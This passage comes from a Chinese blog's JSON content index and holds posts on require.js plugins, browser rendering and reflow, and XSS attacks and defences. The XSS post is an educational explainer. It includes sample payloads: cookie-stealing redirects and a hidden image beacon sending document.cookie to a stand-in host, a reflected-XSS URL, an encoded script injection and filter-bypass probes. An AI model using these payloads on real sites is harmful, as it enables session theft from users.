DOM is ready}); text和image插件,则是允许require.js加载文本和图片文件。123456789define([ 'text!review.txt', 'image!cat.jpg' ], function(review,cat){ console.log(review); document.body.appendChild(cat); }); 类似的插件还有json和mdown,用于加载json文件和markdown文件。 参考资料 阮一峰博客 Require.js 教程","link":"/2016/01/26/模块化(三)/"},{"title":"浏览器的渲染原理的研究","text":"也是一篇曾经的博文~ 最近看了好几篇大神的文章,发现自己虽然前端已经学了快一年半,可是再css却仿佛停留在了第一个瓶颈上,会使用,但是却很少去研究它是怎么来的,浏览器是如何去解析的。挺多东西还是一知半解,很羞愧,故写下我对 浏览器对整个页面的渲染原理 的理解。 说到这点,我们一定很想知道,一个项目 html css js是如何与浏览器发生‘化学反应’,最终生成美丽的页面的。 假设为第一次访问: 用户输入网址,浏览器向服务器发出请求,服务器返回html文件; 浏览器开始载入html代码,发现<head>标签内有一个<link>标签引用外部CSS文件; 这是 浏览器 就应该 又发出CSS文件的请求,服务器返回这个CSS文件; 浏览器继续载入html中<body>部分的代码,并且CSS文件已经拿到手了,可以开始渲染页面了; 浏览器在代码中发现一个<img>标签引用了一张图片,向服务器发出请求。此时浏览器不会等到图片下载完,而是继续渲染后面的代码; 服务器返回图片文件,由于图片占用了一定面积,影响了后面段落的排布,因此浏览器需要回过头来重新渲染这部分代码; 浏览器发现了一个包含一行Javascript代码的<script>标签,赶快运行它; Javascript脚本执行了这条语句,它命令浏览器隐藏掉代码中的某个 (style.display=”none”)。突然就少了这么一个元素,浏览器不得不重新渲染这部分代码; 终于等到了</html>的到来,浏览器泪流满面…… 等等,还没完,用户点了一下界面中的“换肤”按钮,Javascript让浏览器换了一下<link>标签的CSS路径; 浏览器召集了所有的标签,浏览器向服务器请,又得重新来过…… 求了新的CSS文件,重新渲染页面。 浏览器对CSS的匹配原理浏览器CSS匹配是从右到左进行查找。 比如 DIV#divBox p span.red{color:red;},浏览器的查找顺序如下:先查找html中所有class=’red’的span元素,找到后,再查找其父辈元素中是否有p元素,再判断p的父元素中是否有id为 divBox的div元素,如果都存在则CSS匹配上。 浏览器从右到左进行查找的好处是为了尽早过滤掉一些无关的样式规则和元素。firefox称这种查 找方式为keyselector(关键字查询),所谓的关键字就是样式规则中最后(最右边)的规则,上面的key就是span.red。 浏览器是如果解析html与css的呢 我们先看一张图从上面这个图中,我们可以看到那么几个事: 1)浏览器会解析三个东西:一个是HTML/SVG/XHTML,事实上,Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。CSS,解析CSS会产生CSS规则树。Javascript,脚本,主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree. 2)解析完成后,浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering(渲染) Tree。注意:Rendering Tree渲染树 并不等同于DOM树,因为一些像Header或display:none的东西就没必要放在渲染树中了。CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个DOM结点。也就是所谓的Frame(框架)。然后,计算每个Frame(也就是每个节点)的位置,这又叫layout(布局)和reflow(回流)过程。 3)最后通过调用操作系统Native GUI的API绘制。 DOM解析HTML的DOM Tree解析如下: CSS解析CSS的解析大概是下面这个样子,假设我们有下面的HTML和CSS文档: 于是DOM Tree是这个样子: 于是我们的CSS Rule Tree会是这个样子: 注意,图中的第5条规则出现了两次,一次是独立的,一次是在规则4的子结点。所以,我们可以知道,建立CSS Rule Tree是需要比照着DOM Tree来的。CSS匹配DOM Tree主要是从右到左解析CSS的Selector,好多人以为这个事会比较快,其实并不一定。关键还看我们的CSS的Selector怎么写了。 注意:CSS匹配HTML元素是一个相当复杂和有性能问题的事情。所以,你就会在N多地方看到很多人都告诉你,DOM树要小,CSS尽量用id和class,千万不要过渡层叠下去,…… 通过这两个树,我们可以得到一个叫Style Context Tree,也就是下面这样(把CSS Rule结点Attach到DOM Tree上): 渲染 渲染的流程基本上如下(黄色的四个步骤): 计算CSS样式 构建Render Tree Layout – 定位坐标和大小,是否换行,各种position, overflow, z-index属性 …… 正式开画 这个图流程中有很多连接线,这表示了Javascript动态修改了DOM属性或是CSS属会导致重新Layout,有些改变不会:就是那些指到天上的箭头,比如,修改后的CSS rule没有被匹配到,等。 这里重要要说两个概念,一个是Reflow,另一个是Repaint。这两个不是一回事。 Repaint——屏幕的一部分要重画,比如某个CSS的背景色变了。但是元素的几何尺寸没有变。Reflow——意味着元件的几何尺寸变了,我们需要重新验证并计算渲染树。是Render Tree的一部分或全部发生了变化。这就是Reflow,或是Layout。(HTML使用的是flow based layout,也就是流式布局,所以,如果某元件的几何尺寸发生了变化,下面的就需要重新布局,也就叫reflow)reflow 会从<html>这个root frame开始递归往下,依次计算所有的结点几何尺寸和位置。 所以,下面这些动作有很大可能会是动作比较大的。 当你增加、删除、修改DOM结点时,会导致Reflow或Repaint 当你移动DOM的位置,或是搞个动画的时候。 当你修改CSS样式的时候。 当你调整窗口的时候(响应),或是滚动的时候。 当你修改网页的默认字体时。 注:display:none会触发reflow,而visibility:hidden只会触发repaint,因为没有发现位置变化。 关于滚屏,通常来说,如果在滚屏的时候,我们的页面上的所有的像素都会跟着滚动,那么性能上没什么问题,因为我们的显卡对于这种把全屏像素往上往下移的算法是很快。但是如果你有一个fixed的背景图,或是有些Element不跟着滚动,有些Elment是动画,那么这个滚动的动作对于浏览器来说会是相当相当痛苦的一个过程。你可以看到很多这样的网页在滚动的时候性能有多差。因为滚屏也有可能会造成reflow。 基本上来说,reflow有如下的几个原因: Initial(初始化)。网页初始化的时候。 Incremental(增减计算)。一些Javascript在操作DOM Tree时。 Resize(调整大小)。其些元件的尺寸变了。 StyleChange。如果CSS的属性发生变化了。 Dirty。几个Incremental的reflow发生在同一个frame的子树上。 好了,我们来看一个示例吧: 我们的浏览器是聪明的,它不会像上面那样,你每改一次样式,它就reflow或repaint一次。一般来说,浏览器会把这样的操作积攒一批,然后做一次reflow,这又叫异步reflow或增量异步reflow。但是有些情况浏览器是不会这么做的,比如:resize窗口,改变了页面默认的字体,等。对于这些操作,浏览器会马上进行reflow。 但是有些时候,我们的脚本会阻止浏览器这么干,比如:如果我们请求下面的一些DOM值: offsetTop, offsetLeft, offsetWidth, offsetHeight scrollTop/Left/Width/Height clientTop/Left/Width/Height IE中的 getComputedStyle(), 或 currentStyle因为,如果我们的程序需要这些值,那么浏览器需要返回最新的值,而这样一样会flush出去一些样式的改变,从而造成频繁的reflow/repaint。 减少reflow/repaint下面是一些Best Practices:1)不要一条一条地修改DOM的样式。与其这样,还不如预先定义好css的class,然后修改DOM的className。2)把DOM离线后修改。如: 使用documentFragment 对象在内存里操作DOM 先把DOM给display:none(有一次reflow),然后你想怎么改就怎么改。比如修改100次,然后再把他显示出来。 clone一个DOM结点到内存里,然后想怎么改就怎么改,改完后,和在线的那个的交换一下。 3)不要把DOM结点的属性值放在一个循环里当成循环里的变量。不然这会导致大量地读写这个结点的属性。 4)尽可能的修改层级比较低的DOM。当然,改变层级比较底的DOM有可能会造成大面积的reflow,但是也可能影响范围很小。 5)为动画的HTML元件使用fixed或absoult的position,修改他们的CSS是不会reflow的,因为脱离了文档流。 6)少使用table布局。因为可能很小的一个小改动会造成整个table的重新布局。 关于 页面优化 的几点: DOM结构不要复杂,不必要的标签坚决不要,例如:<div class="clearfix"></div>这样一个清除浮动的标签,通过增加伪元素after,兼容IE67也是可以利用IE67的一些特有的属性来清除浮动,比如zoom:1 少引用css,js文件,少增加图片的请求次数 css 命名 、书写规范;(好的代码看上去就很整齐 很有条理性这样方便日后的维护和管理) 少用滤镜,少用hack,多用继承属性。 使用简写样式,如background,margin,padding等。 不要在ID选择器和class选择器前 使用标签名例如:div.box { color: #f00; }; 直接 可以 用类名, .box { color:#f00;} 这样浏览器找到这个class后 就不用再匹配是否存在div标签.从而提高了渲染效率。 css的层级关系不要太深 用class直接代替多余的层级元素。css渲染是从上到下,从右到左的。例如:.box .box-con .box-list li { line-height: 24px; } 所以直接这样写就可以了.box-list li { line-height: 24px; }; 平铺背景图片不要过小,影响渲染速率。 float使用要谨慎。 合理化布局(模块化布局);可以把样式划分为 基类 和扩展类 ;模块化布局 :模块基本相同的样式写在 基类里,不同的在重新用class来定义称为扩展类 。 在css渲染效率中id和class的效率是基本相当的class最在第一次载入中被缓存,在层叠中会有更加好的效果,在根部元素采用id会具有更加好(id有微妙的速度优势)。 参考文档: 本人曾经博客地址 前端必读:浏览器内部工作原理 了解html页面的渲染过程","link":"/2016/01/29/浏览器渲染原理的研究/"},{"title":"那些年我们懵逼的安全知识——XSS","text":"前几天在面试的时候,被问过两次前端安全知识,第一次听见的时候是懵逼的,后面赶紧回去补了一番,可是第二次回答的时候,感觉对方还是不是很满意的样子,所以我赶紧又再次对这些再次系统的了解了一下 什么是XSS首先,靠死记硬背肯定是不行的,总是特别容易就忘记了。那么我们得先了解 XSS的全名呀: XSS 全称(Cross Site Scripting) 跨站脚本攻击 XSS 全称(Cross Site Scripting) 跨站脚本攻击 XSS 全称(Cross Site Scripting) 跨站脚本攻击 重要的事情说三遍(原本的缩写应该是 CSS可惜和我们伟大的CSS重名了,只好委屈一下更名 XSS)在这句话里面,我们能够捕捉到几个信息: 一个是跨站 一个是脚本Scripting 所以,区别xss攻击和别的攻击一个最基本的特点就是:它需要注入脚本它是代码注入的一种。它允许恶意用户将代码注入到网页上,在其他用户访问网站的时候,脚本运行从而影响他人。这类攻击通常包含了HTML以及用户端脚本语言。 举个栗子XSS这种攻击是由外部发起的,在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。详细以前玩过QQ空间的人可能会遇到过一个类似的恶作剧,有人故意在一个页面里面运行了一个行这样的代码123while (true) { alert(\"你关不掉我~\");} 当我们点击的时候,弹窗总是一直一直的在不停的被关闭和跳出,手机观看也是一样的,这个时候,我们就不得不关掉浏览器,再重新开一次。 又比如我可以在一些贴吧或者是社区里面写上一些链接,起一点比较有吸引力的名字,比如叫:某某的后裔大结局下载,某某的美图,然后代码里面悄悄附上我下面这段链接,这样不明真相的吃瓜观众或许就会被我吸引从而点击这个链接1location.href='http://www.xss.com?cookie='+document.cookie; //坏人的网站 用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。 虽然都是注入脚本,但是上面两个例子还是有点点不同的,接下来让我们看看 XSS攻击分类根据XSS脚本注入方式的不同,我们可以对XSS攻击进行简单的分类。其中,最常见的就数反射型XSS和存储型XSS了。 反射型反射型XSS,又称非持久型XSS。 称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。 又称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。 比如攻击者将如下链接发送给受害者:1http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script> 当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。 这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因。 存储型存储型XSS,又称持久型XSS 这种攻击往往比上面的反射性要后果要更严重。 和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。 这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。 当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。 可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。 让我们回顾一下,上面的栗子2就是一个存储型XSS的很好的栗子,在贴吧里面发布信息并提交,让各种看到这个帖子的人点击进去,运行这个脚本。或许你又会说,那我不点击那个奇怪的链接就好了啊,或者让管理员去把那些删掉就好。那么让我们换种方式吧,在我的图片下面附上这样的代码,你很有可能是完全都不会发觉的:1234var img = document.createElement('img');img.src='http://www.xss.com?cookie='+document.cookie;img.style.display='none';document.getElementsByTagName('body')[0].appendChild(img); 而且,在网页注入代码的方法可能的多种多样的,可以这样123<a href=\"http://www.xss.com\" onclick=alert(this.name) name=xss ref=xss></a>//或者onload=\"alert('xss')\" 这个时候,我们就必须得相处点办法,将标签识别,比如:不让script过去,然而人算不如黑客算呀,他们又有一种新方式了,像这样:123&lt;script&gt; alert(&quot;xss&quot;)&lt;/script&gt; //或者$('div:first').html('\\u003c\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003e\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u0078\\u0073\\u0073\\u0022\\u0029\\u003c\\u002f\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003e'); 然后咱们就GG了又…. 如何防御讲了那么多,大家一定很慌,宝宝上个网太危险了。没关系,还是有一点的方法去抵御的。 http only由于大部分xss攻击都是想要窃取我们的cookie来做坏事的,所以我们如果能够让他们不能拿到我们的cookie的话,那起码我们的各种损失可以降下来一半。我们可以给浏览器设置Cookie的头如下:123 Set-Cookie: =[; =] [; expires=][; domain=] [; path=][; secure][; HttpOnly] 这样一来,就不能通过脚本来获取你现在活动状态下的cookie,但是咱们是个有志向的程序员,怎么可以就此满足。 过滤JavaScript 事件的标签例如,我们可以过滤"onclick", "onfocus" , "onload"这种类型的标签。包括一些大小写"oNcLick", "onFOcus" 这种类型的也要注意过滤,不然人家轻轻一改,就坑爹了。当然过滤这些事件标签还不够,只要人家坚持不懈,还是可以找到一些漏洞的地方,像下面这个1234567<a href=\"rhainfosec.com\" onmouseover=alert(1)>ClickHere</a><!-- 事件处理被过滤了吗?或者是仅仅过滤了on后面的mouseover? --><!-- 接下来插入一个无效的事件处理,查看是否所有的事件处理都会被过滤或者仅部分会被过滤。 --><a href=\"rhainfosec.com\" onclimbatree=alert(1)>ClickHere</a><!-- 收到相同的响应了吗?可以插入吗? --> 在HTML5中,存在超过150种事件处理,这也意味着我们有150多种方法来执行javascript。所以还需要有更保险一点的方法才行 Html Encode 处理XSS之所以会发生, 是因为用户输入的数据变成了代码。要想拒绝引入代码,就得要把这些变成一个字段,而不是被浏览器运行的代码。所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的”中括号”, “单引号”,“引号” 之类的特殊字符进行编码。让本身一段代码,变成了一段显示的字符串 又又又又但是…..不知道大家有么有用过富文本编辑器,像这种当我们使用富文本编辑器里面的一些功能的时候,我们会发现,其对应的html标签也会发生相应的改变这个时候,使用html过滤就行不通了,因为很有可能会把里面的那些样式输出到文本里面,对于一些BBS,他们尚可以用自定义的一些标签比如 [标签名]这种方式来绕过html编码,但是对于其他的没有自定义标签的编辑器来说,可能就是灾难了。 如何解决,下面让我们来看下一种方法。 过滤特殊的Html标签我们可以预判哪些标签是有可能造成xss攻击的,然后对标签过滤或者是移除。这个和上面的过滤事件的标签是非常类似的,可以将他们合并一起过滤。 比如我们可以设置让所有的<script> <iframe> <a> <img>等等标签都不能通行,来达到我们的目的。但是也不只是这种方式,我们可以反向思维 其实这里过滤有两种可以选择的方式: 过滤对我们有害的标签,不让其通行过去。除此之外都可以通过————设置黑名单 过滤对我们安全的标签,可以让其过去,除此之外的都不可以通过————设置白名单 一般我们会选择哪种呢?如果是我的话,为了保险起见,可能会选择白名单的模式,因为其实可以执行的事件是很多的,标签也有各种各样,难保攻击者不会找到一个特别偏门的标签来选择攻击,所以选择我们已经信任的一些白名单来允许通过,会更加有力的去阻止xss攻击一些。 参考文档 绕过WAF的XSS过滤 前端xss攻击 防御 XSS 攻击的七条原则","link":"/2016/03/29/那些年我们懵逼的安全知识之XSS/"}],"tags":[{"name":"node","slug":"node","link":"/tags/node/"},{"name":"js","slug":"js","link":"/tags/js/"},{"name":"css","slug":"css","link":"/tags/css/"},{"name":"git","slug":"git","link":"/tags/git/"},{"name":"随笔","slug":"随笔","link":"/tags/随笔/"},{"name":"性能优化","slug":"性能优化","link":"/tags/性能优化/"},{"name":"正则","slug":"正则","link":"/tags/正则/"},{"name":"闭包","slug":"闭包","link":"/tags/闭包/"},{"name":"兼容","slug":"兼容","link":"/tags/兼容/"},{"name":"算法","slug":"算法","link":"/tags/算法/"},{"name":"模块化","slug":"模块化","link":"/tags/模块化/"},{"name":"移动端","slug":"移动端","link":"/tags/移动端/"},{"name":"安全","slug":"安全","link":"/tags/安全/"},{"name":"攻击","slug":"攻击","link":"/tags/攻击/"},{"name":"css3","slug":"css3","link":"/tags/css3/"},{"name":"硬件加速","slug":"硬件加速","link":"/tags/硬件加速/"},{"name":"Grunt","slug":"Grunt","link":"/tags/Grunt/"},{"name":"渲染","slug":"渲染","link":"/tags/渲染/"}],"categories":[]}